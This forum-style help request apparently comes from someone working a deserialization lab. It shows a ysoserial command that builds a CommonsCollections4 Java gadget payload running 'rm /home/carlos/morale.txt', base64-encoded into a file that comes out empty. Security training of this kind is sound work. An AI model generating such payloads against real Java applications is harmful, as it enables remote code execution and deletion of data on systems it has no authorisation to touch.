My own ignorance stuck can someone step-by-step my issues with ysoserial?

┌──(oscpl㉿kali)-[~/ysoserial] └─$ ls cookieToUse.txt cookieToUse2.txt output.txt output10.txt output2.txt output3.txt test3.txt test4.txt ysoserial ysoserial-all.jar

┌──(oscpl㉿kali)-[~/ysoserial] └─$ cat output10.txt

┌──(oscpl㉿kali)-[~/ysoserial] └─$ java -jar ysoserial-all.jar
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED
--add-opens=java.base/java.net=ALL-UNNAMED
--add-opens=java.base/java.util=ALL-UNNAMED
CommonsCollections4 'rm /home/carlos/morale.txt' | base64 > output10.txt

└─$ java --version
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true openjdk 23-ea 2024-09-17 OpenJDK Runtime Environment (build 23-ea+34-Debian-1) OpenJDK 64-Bit Server VM (build 23-ea+34-Debian-1, mixed mode, sharing)

cat output10.txt gives me an empty file can someone assist with this?